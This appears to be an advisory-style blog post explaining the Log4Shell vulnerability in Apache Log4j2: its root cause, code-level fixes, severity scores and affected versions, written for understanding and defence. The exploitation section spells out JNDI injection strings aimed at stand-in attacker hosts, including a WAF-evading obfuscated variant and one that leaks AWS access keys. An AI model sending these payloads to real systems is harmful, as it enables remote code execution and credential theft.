Mar 1, 2026·6 min read·16 visits
Log4Shell (CVE-2021-44228) is a zero-click, unauthenticated RCE in Apache Log4j2 (versions 2.0-beta9 to 2.14.1). Attackers can compromise servers by forcing them to log a string like ${jndi:ldap://...}, triggering a malicious code download via JNDI.
A critical Remote Code Execution (RCE) vulnerability exists in the Apache Log4j2 logging library. The flaw arises from the improper handling of untrusted data in the JNDI lookup feature, allowing unauthenticated remote attackers to execute arbitrary code by injecting specific string patterns into logs. This vulnerability, known as Log4Shell, affects a vast ecosystem of Java applications.
CVE-2021-44228, widely referred to as "Log4Shell," is a critical vulnerability within the log4j-core component of Apache Log4j2. The vulnerability stems from the library's feature to perform property substitution in log messages. Log4j2 supports a mechanism called "Lookups," which allows variable values to be retrieved and substituted into log output at runtime. One specific lookup type, JNDI (Java Naming and Directory Interface), was enabled by default and failed to restrict the protocols or endpoints it could contact.
When a vulnerable Log4j2 instance logs a message containing a specific character sequence (specifically ${jndi:...}), the library attempts to resolve the request. If an attacker can inject this sequence into any input that eventually gets logged—such as HTTP headers (User-Agent, X-Forwarded-For), form fields, or chat messages—they can coerce the server into initiating an outbound connection to an attacker-controlled server. This mechanism bypasses traditional perimeter defenses because the connection originates from the trusted internal server to the outside world.
The impact is catastrophic because JNDI is designed to allow the retrieval of Java objects. If the JNDI lookup points to a malicious LDAP or RMI server, that server can return a Reference object pointing to a remote class file. The victim's Java Virtual Machine (JVM) will then download this class file and execute its bytecode, granting the attacker full remote code execution privileges within the context of the running application.
The root cause of CVE-2021-44228 lies in the interaction between the StrSubstitutor class and the JndiLookup plugin. The StrSubstitutor is responsible for parsing strings and resolving variables enclosed in ${...}. This parsing logic is recursive; if a resolved value contains further variables, they are also resolved.
In affected versions, the JndiLookup class (registered under the jndi prefix) essentially acted as a proxy to the standard Java JNDI API without sufficient guardrails. The vulnerable code path typically flows as follows:
logger.info("User input: {}", userInput). The userInput contains ${jndi:ldap://attacker.com/exp}.PatternLayout processes the message. If the layout includes pattern converters that handle message substitution, the string is passed to StrSubstitutor.StrSubstitutor identifies the jndi prefix and delegates the content to JndiLookup.lookup().lookup method calls context.lookup(), passing the attacker's URL directly to the underlying JNDI implementation.Crucially, untrusted data deserialization occurs here. When the JNDI client (the victim) connects to the LDAP server (the attacker), the LDAP protocol allows the response to specify a Java class codebase (URL) and a factory (class name). The JVM, seeing this reference, fetches the class from the remote URL and instantiates it. The execution of the class's static initializer block or constructor completes the attack chain.
The remediation for Log4Shell required multiple iterations due to the complexity of the feature set. The initial fix in 2.15.0 attempted to restrict JNDI lookups to specific hosts and protocols, but this was proven incomplete (leading to CVE-2021-45046). The definitive fix in versions 2.16.0 and 2.17.1 involved completely disabling JNDI lookups by default and removing support for message lookups entirely.
In the vulnerable JndiLookup.java, the code simply passed the key to the JndiManager:
// Vulnerable implementation in JndiLookup.java
@Override
public String lookup(final LogEvent event, final String key) {
if (jndiManager == null) {
return null;
}
// No validation of 'key' (the URL) before lookup
return jndiManager.lookup(key);
}The fix introduced in later versions fundamentally changed how substitutions are handled. In version 2.16.0+, the JndiLookup functionality was restricted, and message lookups were disabled by default in the configuration.
Furthermore, the JndiManager was updated to enforcing strict allowlists for protocols and hosts. The following snippet illustrates the validation logic introduced to prevent arbitrary remote connections:
// Hardened check in JndiManager (conceptual simplified view)
if (!allowedProtocols.contains(protocol)) {
return null;
}
if (!allowedHosts.contains(host)) {
LOGGER.warn("Attempt to access JNDI resource at {} is not allowed", host);
return null;
}Additionally, the Message interface implementation was altered to stop recursively evaluating lookups within user-provided log messages, closing the vector where user input triggers the resolution logic.
Exploiting Log4Shell is trivial due to the lack of authentication and the ubiquity of logging. The attack does not require a specific user account or complex memory corruption techniques. It relies solely on data injection.
User-Agent, Referer, X-Api-Version), login forms (username fields), and search parameters.${jndi:ldap://attacker-c2.com/exploit}${${lower:j}ndi:${lower:l}dap://attacker-c2.com/exploit} (used to evade WAF signature matching).attacker-c2.com on the specified port (usually 1389 for LDAP or 1099 for RMI).JNDIExploit or marshalsec) responds with a serialized object reference pointing to a malicious .class file hosted on an HTTP server.${jndi:ldap://attacker.com/${env:AWS_ACCESS_KEY_ID}}).The impact of CVE-2021-44228 is rated as Critical (CVSS 10.0). The vulnerability permits arbitrary remote code execution (RCE) with the privileges of the application running Log4j. In many enterprise environments, Java applications run as root or a highly privileged service account, leading to immediate and total system compromise.
The widespread use of Log4j means this vulnerability affects not just custom applications but also major vendor products, including virtualization platforms, cloud management consoles, and security appliances.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
Apache Log4j2 Apache Software Foundation | >= 2.0-beta9, <= 2.14.1 | 2.17.1 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-502 (Deserialization of Untrusted Data) |
| CVSS v3.1 | 10.0 (Critical) |
| Attack Vector | Network (Unauthenticated) |
| EPSS Score | 0.94358 (94.36%) |
| KEV Status | Listed (Active Exploitation) |
| Patch Status | Available (v2.17.1+) |
The application deserializes untrusted data without sufficiently verifying that the resulting data will be valid.